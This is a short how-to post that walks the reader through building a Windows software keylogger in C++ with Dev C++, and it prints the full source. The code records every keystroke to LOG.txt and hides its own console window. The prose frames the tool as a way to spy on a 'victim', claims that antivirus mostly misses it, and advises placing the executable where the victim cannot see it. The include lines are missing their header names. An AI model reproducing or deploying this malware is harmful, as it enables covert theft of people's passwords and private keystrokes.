There is two type of keylogger available now a days
1. Software keylogger  and
2. Hardware keylogger.

Hardware keylogger is little complex for you to assemble, so we will go with software Keylogger.
Advantage of this keylogger is that:
Very simple and easy method.
most of the anti virus also cant identify it.
Victim can't detect that we are hacking.

Now how to create this?
Requirements:
Dev C++. (use google to download Dev C++)
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include 
using namespace std;
#include 
#include 
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Now compile the code (ctrl+F9)


Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

Note save and run this .exe file from a location that victim can't see as it will 
generate a log.txt file where all the keystroke will be saved.